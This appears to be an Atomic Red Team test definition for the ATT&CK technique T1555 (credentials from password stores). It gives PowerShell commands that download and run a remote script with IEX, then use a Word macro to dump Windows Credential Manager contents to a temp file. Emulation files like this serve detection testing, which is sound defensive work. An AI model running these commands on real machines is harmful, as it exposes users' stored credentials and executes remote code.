T1555.md

T1555 - Credentials from Password Stores

Description from ATT&CK

Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications that store passwords to make it easier for users manage and maintain. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.

Atomic Tests

• Atomic Test #1 - Extract Windows Credential Manager via VBA

Atomic Test #1 - Extract Windows Credential Manager via VBA

This module will extract the credentials found within the Windows credential manager and dump them to $env:TEMP\windows-credentials.txt

Supported Platforms: Windows

Attack Commands: Run with powershell!

IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1555\src\T1555-macrocode.txt" -officeProduct "Word" -sub "Extract"

Cleanup Commands:

Remove-Item "$env:TEMP\windows-credentials.txt" -ErrorAction Ignore

Dependencies: Run with powershell!

Description: Microsoft Word must be installed

Check Prereq Commands:

try {
  New-Object -COMObject "word.Application" | Out-Null
  $process = "winword"
  Stop-Process -Name $process
  exit 0
} catch { exit 1 } 

Get Prereq Commands:

Write-Host "You will need to install Microsoft Word manually to meet this requirement"